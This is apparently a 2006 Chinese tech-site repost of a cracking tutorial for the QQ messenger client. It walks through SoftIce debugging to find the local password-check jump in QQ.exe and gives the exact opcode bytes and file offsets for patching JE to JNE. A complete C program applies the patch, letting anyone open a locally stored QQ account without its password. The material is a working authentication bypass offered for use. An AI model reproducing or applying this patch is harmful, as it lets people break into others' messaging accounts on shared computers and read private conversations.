频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

QQ本地密码验证破解

来源: 作者: 出处:巧巧读书 2006-10-01 进入讨论组
QQRead:http://www.qqread.com/cpp/d227941.html
  对应QQ版本:QQ2000C Build 1230b (2003.04.09)/QQ2003 PreView1 (测试通过)
使用工具:SoftIce,UE,W32Dasm
跟踪过程:
1,在SI中断点 bpx messageboxa 对输错密码后弹出的MessageBox进行拦截.
2,第一步中当然能拦到,接着按F11看何处调用了Messageboxa,再设断点,并用此方法一直向上找.
3,用2的方法,直到找到一个断点,不管输入的密码正确与否这个断点都能起做用,(由下向上找到的第一个这样的断点),在本例中是:00404F2(此时QQ开着).
...
00404EC: CALL [EDI+20]
00404EF: TEST,EAX,EAX
00404F1: POP EDI
00404F2: JZ 00404581 这是关键处,输入密码正确后就跳,不正确时不跳.
...
那么对此处修改即可了.

修改:用W32DASM打开QQ.EXE,找到00404F2处,看到:
...
JE 00404581 (为什么是JE,不是JZ了,偶也没搞明白,菜啊~ ^_^)
...
其对应的OPCODE是: 57 20 85 C0 5F 0F 84 89
用UE打开QQ.exe查找"57 20 85 C0 5F 0F 84 89",并改为"57 20 85 C0 5F 0F 85 89",即把JE指令,改成了JNE指令,并保存.这时再打开QQ,不用输密码即可进入随便一QQ了.

用任何一个编程语言做个小程序,读取从文件头开始处偏移处的字节,如果为0x84,则修改为0x85就可以了。

#include "stdio.h"

main()
{
   FILE *fp;
   printf("QQ Local Login Tools\n\n");
   printf("Crack: Wing   QQ:6465660\n");
   printf("Code : ccrun  QQ:165332\n\n");

   fp=fopen("QQ.exe","rb+");
   if(!fp)
   {
     printf("Not Found QQ.exe!\n");
     exit(0);
   }
   fseek(fp,0x54f4,0); /*此地址针对QQ2003 Preview 1,如果是QQ1230的,则地址为0x44F3*/
   if(fgetc(fp)==0x84)  /* OPCode:JE */
   {
     fputc(0x85,fp);      /* OPCode:JNE */
     printf("Cracked Success!\nPress any key to conitnue...");
   }
   else
     printf("QQ Version Error!\nPress any key to continue...");
   fclose(fp);
   getch();
}

-----------------------------
破解:Wing
Mail:wing@hackermail.com
OICQ:6465660
-----------------------------
代码:ccrun
信箱:info@ccrun.com
OICQ:165332

更多文章 更多内容请看QQ病毒QQ个性签名汇总QQ表情专题,或进入讨论组讨论。
收藏此文】【 】【打印】【关闭
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
讨论组问题推荐
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章